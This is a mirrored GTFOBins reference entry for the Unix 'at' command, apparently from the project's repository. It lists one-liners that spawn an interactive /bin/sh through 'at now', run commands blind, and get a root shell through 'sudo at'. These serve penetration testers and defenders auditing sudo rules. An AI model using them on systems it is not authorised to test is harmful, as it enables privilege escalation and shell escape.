1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
GTFOBins.github.io/_gtfobins/at.md
2021-01-15 20:38:33 +01:00

423 B

functions
shell command sudo
code
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
description code
The invocation will be blind, but it is possible to redirect the output to a file in a readable location. COMMAND=id echo "$COMMAND" | at now
code
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null